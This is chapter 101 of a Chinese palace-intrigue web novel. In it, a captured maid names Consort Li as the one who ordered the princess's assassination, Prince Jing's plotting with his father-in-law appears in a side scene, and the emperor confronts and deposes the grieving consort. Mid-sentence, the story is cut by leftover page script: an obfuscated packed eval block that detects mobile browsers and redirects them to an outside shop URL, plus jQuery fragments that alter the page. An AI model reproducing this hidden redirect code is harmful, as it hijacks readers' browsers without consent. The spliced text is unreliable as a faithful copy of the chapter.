101. 前尘隐语

作品:《莳花戮

    整个晦暗房间逐渐陷入安静,只剩滴滴答答的滴水声和长时间呼喊过后的急速喘息声。


    计子盍等了片刻,复开口:“什么信物?在哪?”


    侍女似死心般道:“李贵妃随身的一根金簪,便于我与她通信,东西在耳房我的包裹里。”


    计子盍轻摆了摆手,一人立刻跑去搜查。


    计子盍问:“李贵妃为何要让你杀公主?”


    侍女摇摇头:“我们这种奴婢都是听主子令,怎么可能知道缘由,她只说女子生产是走趟鬼门关,就算杀不了公主,若是吓一吓,生产中的妇人也是很容易死的。”


    “我的妹妹在贵妃宫里做洒扫侍女,我有些武功底子,便被派来公主府。”她苦笑一声,“我不做,我和妹妹都活不成。”


    她兀自说完最后一句话,便不再说话,像是突然认了命,认了一种本该属于她们的命。


    许是女子的凄厉惨叫声实在让闻者心惊、听者胆颤,而厢房的隔音并不好,故而等计子盍到第二间厢房时,还未等动手,那男子便招了。


    “干嘛不进去?门口当冰雕呢?”计子盍在门口敲了敲门。


    落香开了门,将计子盍迎进来,随之一同进来的还有下值洗漱完毕便马不停蹄赶来的许易之。


    两人进了门,在远处的火盆旁站定,许易之抬眼看了眼床榻上的楚言熙,皱了一夜的眉这才缓缓平和下来。


    楚言熙笑问:“站那么远做什么?”


    计子盍道:“我们刚从外面进来,给公主带过去寒气就不好了,在这暖和暖和。”他拍了拍许易之胳膊,“这人门口站了许久,身上冰一样,我站在他身边都觉得冷。”


    楚胤倚靠着窗,打趣道:“原来许将军也喜欢在门口当冰雕啊。”


    许易之瞪了他一眼,被噎到没话说。


    扔出去的回旋镖终又回到自己身上。


    楚胤也不再管他,问计子盍:“你那边审得怎么样?”


    许易之蓦地抬眼:“你们抓到活口了?”


    计子盍叹道:“多亏沈楼主留手,留了三个活口。”


    他继续道:“那个侍女招了,说她是......李贵妃的人。那两个杀手说他们只是听令办事,具体谁下的令并不知道,不过,他们归属于江湖一个叫燕双楼的门派,这个门派沈楼主可知道?”


    沈莳点点头:“听过,是北边近几年新兴起的门派,我的人在跟踪丹州火药时也遇到过燕双楼的人。”


    许易之惊道:“怎么火药也有他们的事。”


    计子盍:“所以燕双楼是李贵妃的人?不会吧,一个后宫娘娘怎么可能和江湖门派扯上关系?”


    许易之:“李贵妃又不是孤身一人。”


    许易之的话大家都心知肚明,后宫的李贵妃并不是主角,宫外的景王才是。


    许易之又道:“燕双楼是景王的人。”


    楚胤:“不管燕双楼是不是,李贵妃总归是他的人。”


    此事急需处理,为了不打扰楚言熙休息,几人便一齐告辞离了公主府,杀手还在公主府押着,可这几人一直在公主府邸押着也总归不是事,计子盍便绕道去了大理寺,吩咐当值人员等夜间去公主府偷摸将人贩带回来。


    沈莳回了花锦阁,楚胤和许易之直接回了靖安王府,一个时辰后,两顶软轿停在了靖安王府正门前,计子盍也随之策马赶到。


    与此同时,景王府的大门前也停下一辆马车,马车来的急,一人脚步匆匆,直闯入内院。


    新年拜礼本该是女儿回娘家,没想到刚至新年第一日,娘家就来人了。


    楚庚文发觉自己最近这些日子来到景王府总是怒气满头,就这几次生的气,没把他直接气过去都算是他命大。


    有人总是拿命在玩,谁能不生气?


    楚言麟正在兽场百无聊赖地晒太阳,看见岳丈前来,自然也该起身迎接,他拱手道:“岳父怎么来了,本打算和王妃明日给岳父拜年呢。”


    楚庚文一腔怒气撞了团棉花,遂挥手坐下,“公主府的事是你干的吧?”


    楚言麟随后坐下:“岳父这话从何说起?”


    楚庚文冷哼一声:“老夫不是老糊涂,知道你不会住手。”


    楚言麟手上把玩着白玉,懒懒道:“我说过,无论什么时候,我只相信死人不会生事,更何况,那件事岳父敢赌吗?赌她不知道?赌她不会说?现在正是关键时候,宁可错杀不可放过,这个道理岳父比我明白。”


    他搓了搓白玉玩件:“更何况,我派出去的人怎么也查不到我身上,岳父放心吧。”


    楚庚文看了他一眼,叹了口气,端起茶喝起来,没说话,便是默认同意。


    景王府南侧暖阁中有人在赏花,花开的娇艳,可落在此时赏花人眼里却有些不合时宜,明明是夏季花,却非要在冬季开放。


    “王妃,楚大人来了。”侍女在身后回禀。


    楚静姝面容并未有任何波动,好似这个“楚大人”和她没有任何关系一般,她转身迎出去,向来人屈身行礼:“父亲。”


    楚庚文看了看女儿,虽喊了声“父亲,可双眸微垂,面容冷峻,哪里有见到亲人的喜色。


    楚庚文:“可是休息的不好,看你神色有些疲倦。”


    楚静姝淡淡道:“挺好的,劳烦父亲挂心。父亲来见王爷,他在......”


    楚庚文摆摆手:“我刚从兽场过来。”


    楚静姝眉间黯淡:“原来父亲是见过王爷才来见我的。”


    楚庚文一哽,声音冷了两分:“都已成婚这么久,有些事该看清了。”


    “父亲当真以为我现在是在为成婚一事耿耿于怀吗?”楚静姝怒喊。


    楚庚文挥退暖阁侍女,问:“那你每日闷闷不乐又是为何?”


    楚静姝冷冷道:“父亲自小培养我,诗书礼乐都找最好的老师教导,难道父亲认为我就是个什么都不懂的闺阁妇人?我不怪你将我当做你官场的青云梯,毕竟你生我养我,我这二十年享的荣华比旁人一生都多。”


    “可是,你到底和景王在谋划些什么,我虽不知全貌,可总归不是傻子。以前父亲和我说做皇后,我还以为那只是父亲口头说辞,没想到你们做的是这种谋算。”


    楚庚文叹道:“既然你明白,你也应该知走上这条路,便无法回头。”


    楚静姝:“父亲当时让我成婚,可有考虑过此事若失败,我可还有命活?”


    楚庚文低声斥道:“不会失败,一定会成功,为父会将你送上一国之母的凤座上。”


    “我不稀罕!”楚静姝压下心中怒气,道:“想来父亲还有事,请回吧。”


    大年初二,阳光大好,天朗气清,宣光殿却如乌云漫布。


    御史台、刑部并大理寺乃至靖安王一大清早就入了宫,带来了让楚文帝火冒三丈的消息。


    本以为是来回禀除夕夜公主府突然走水的消息,其实这件事自楚文帝得知公主无碍后,便被他抛到脑后,本就不是什么大事,就算是侍女小厮手误引起火,自然是公主府自行处理,不用他这个九五之尊操心。


    没想到,这几人刚进来,一位叫张常的御史便突然呈奏,道:“陛下,臣有事奏。”


    楚文帝愣住:“大年下的,有何事不能等复朝再奏?”


    张常弓着身,道:“陛下,此事事关公主性命,不能等。”


    楚文帝转头看了眼楚胤,又看向殿下站着的三司官员:“所以这是大年初二三司官员一起站在朕的宣光殿的原因?你们要奏的都是一件事?”


    众人不语,楚文帝心下了然。


    他喝了口茶,平静道:“罢了,既事关公主,便说吧。”


    张常沉声道:“朔宁公主为护我大楚臣民,独自前往外邦和亲,乃我大楚巾帼英雄。可微臣听说,除夕夜,公主于公主府突遭杀手行刺,幕后黑手至今仍逃脱在外,此事骇人听闻,还请陛下明察。”


    书案“嘭”的一声震响。


    “行刺?”


    楚文帝看向楚胤,等着他回话。


    楚胤:“是,十几位黑衣杀手还有一个侍女,幸而陛下拨去的府兵拼死相抗,所以公主无碍,可致使公主早产,身体至今还很虚弱。”


    楚文帝惊问:“侍女?”


    楚胤:“有个新入公主府的侍女在公主生产九死一生之际欲用匕首行刺,幸好被人发现制止,否则后果不堪设想。”


    “啪”一声,茶杯被摔碎在大殿上:“是谁?胆大包天,竟敢在帝都行刺当朝公主,眼里可还有大楚皇室,可还有朕,是当朕死了不成?”


    楚文帝看向一旁站着的孔愠,冷声问:“新拨给公主府的人是你亲自挑选的。”


    孔愠后脊忽然冒出一层冷汗,慌忙跪下:“陛下,人是奴才挑的,可刺杀一事奴才实在不知,请陛下明察。”


    楚胤道:“陛下息怒,当夜抓到了活口。”


    楚文帝:“人呢?审了吗?”


    计子盍道:“那夜直接在公主府审过。”


    “谁干的?”楚文帝问得简介明了。


    计子盍并未明说:“陛下,这是那侍女的口供和与人联系的信物,请陛下御览。”


    孔愠很有眼力见,急忙撩袍起来,将东西呈到楚文帝手中。


    宣光殿内一片静默,暖阳射向殿中的琉璃摆件,将整个大殿映照得如珠宝阁般明亮。


    大殿亮得耀眼,冷云依旧未散,萦绕在宣光殿上空,正与暖阳进行奋力搏斗。


    又是“啪”的一声,口供被猛地拍至书案上,楚文帝瞥着那个信物,一只金簪。


    他曾见过这只金簪,在那人乌发之上,曾在阳光下熠熠生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925940|189826||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    辉,这似乎还是她的陪嫁之物。


    楚文帝沉声开口:“杀手的口供可有?”


    计子盍道:“禀陛下,杀手是江湖的人,他们只是拿钱办事,并不知道幕后之人是谁?”


    楚文帝道:“你们今日拿着一个侍女的口供来,就是想让朕审这幕后之人?”


    众人道:“请陛下明察。”


    楚文帝无奈,向孔愠吩咐:“传李贵妃来宣光殿。”


    孔愠低声应下,退下去传旨。


    一炷香后,自门口进来一个冷艳美人,虽有了年纪,却还是挡不住身上那种雍容冷艳的美丽,她穿过暖阳进来,却让在场众人瞬间惊住。


    不是因为她绰约的芳姿,而是因为她进来时,已是脱簪去袍,身上没有任何装饰,面容平静,却有一种视死如归的傲然。


    楚文帝喝道:“穿成这样,成何体统。”


    李贵妃站在那,未行礼,只冷冷看着楚文帝,平静问:“陛下传我来是为何事?”


    楚文帝将那只金簪扔到她面前:“这个金簪可是你的?”


    李贵妃轻轻笑了,蹲身捡起,握在手上,垂眸认真看着:“陛下不是认识吗?为何还要问得这么清楚?”


    楚文帝:“所以果真是你派那贱婢去刺杀公主?”


    李贵妃并未回答,只含着笑喃喃道了声:“公主?”


    楚文帝:“说话,为何派人去刺杀公主,她与你并无仇怨?”


    李贵妃慢慢将那只金簪插入发间,而后慢慢撩裙跪下,动作是那样轻柔,却又没有半分的在意。


    她冷冷道:“朔宁与臣妾没仇,可臣妾与她却有怨。”


    众人皆是一惊。


    李贵妃道:“与臣妾有仇的是先皇后郑氏,要怪只能怪她是郑氏的孩子。”


    楚文帝道:“李筠,你......”


    话还未说出口,却被李贵妃生生阻断,“陛下可还记得臣妾也是有个公主的,她以前每日都会跟在臣妾身边叫母妃,笑容甜甜的,让人看着心里就欢喜。”李筠的眼中含着笑,温柔慈爱的笑,也同样含上了泪,泪已瞬间满眶。


    “若不是那日郑氏带她去花园游玩,她也不会生病,也不会因此一病不起,也不会就这样......”


    李筠已经泪流满面,再也说不下去。


    楚文帝怒气满身,却也哀叹不已:“那日天气甚好,游玩本是常事,何况朔宁当日也在,生病一事谁又能预料,皇后当时也全心派了太医去照顾,只是沅儿福太薄......”


    李筠笑了:“陛下也说,当日朔宁也在,为何她没有生病,唯独却只有我的沅儿生了病。”


    楚文帝被怼的哑口无言,只怒道:“当日所有人都查无事,那些随行的宫女内侍你也审了,你也知道没有问题。”


    “是。”李筠大喊,“没有问题,所以千不该万不该,郑氏不该带我的沅儿出去受寒。”


    楚文帝无奈,只道:“你个疯子,失心疯,真是失心疯了。”


    李贵妃似乎没听见楚文帝的话,沉浸在自己的回忆中,忽地笑道:“陛下,你说老天是不是总喜欢与臣妾玩笑,沅儿走了,臣妾伤心很久,等臣妾反应过来想找皇后报仇,皇后也走了,后来臣妾又想找朔宁报仇,可是她又莫名出宫开了府,等臣妾寻到一点机会,她又莫名去和了亲。”


    李筠跪在大殿中轻声说着,说至最后竟自己吃吃笑了,仿佛她真的认为这些年发生在她身上的事都如笑话一般,实在太可笑,太荒唐。


    世间的因缘巧合本就是这样让人生笑,世间的许多事本就是荒唐大梦一场。


    李筠道:“如今她回来了,好不容易让我找到机会,她死了,我在这世间的怨便也算了结了。”


    楚文帝似已经失了魂,没想到失女一事竟让李筠纠结了这么多年,如今俨然已成心魔,再也拔不掉。


    楚文帝问:“杀手一事可跟你有关?”


    李筠抬头,泪眼婆娑:“什么杀手?”


    楚文帝又问:“景王可知这件事?”


    李筠惊道:“他不知!”


    她看向楚文帝,“我做这些乃是为母之举,难道我还要把我另一个孩子牵扯进来吗?”她冷冷盯着楚文帝,“陛下若有为父之心,便不应该这样问。”


    楚文帝长长叹了口气:“李筠残害皇女未遂,褫夺贵妃封号,囚于嘉福宫,终身不准外出,任何人不准探视,等年后复印开朝,着中书省下旨。”


    李筠带着笑,缓缓叩了礼,站起身,决然走了出去。


    楚文帝又向台下众人道:“刺杀一事要继续探查,另外尽快挑些人补公主府兵。”他捏了捏皱了许久的眉,“行了,大年下的,你们也别在朕这站桩,回家过年去吧。”


    站在一旁的孔内侍自始至终垂着头,眼睛从头到尾未抬过一下。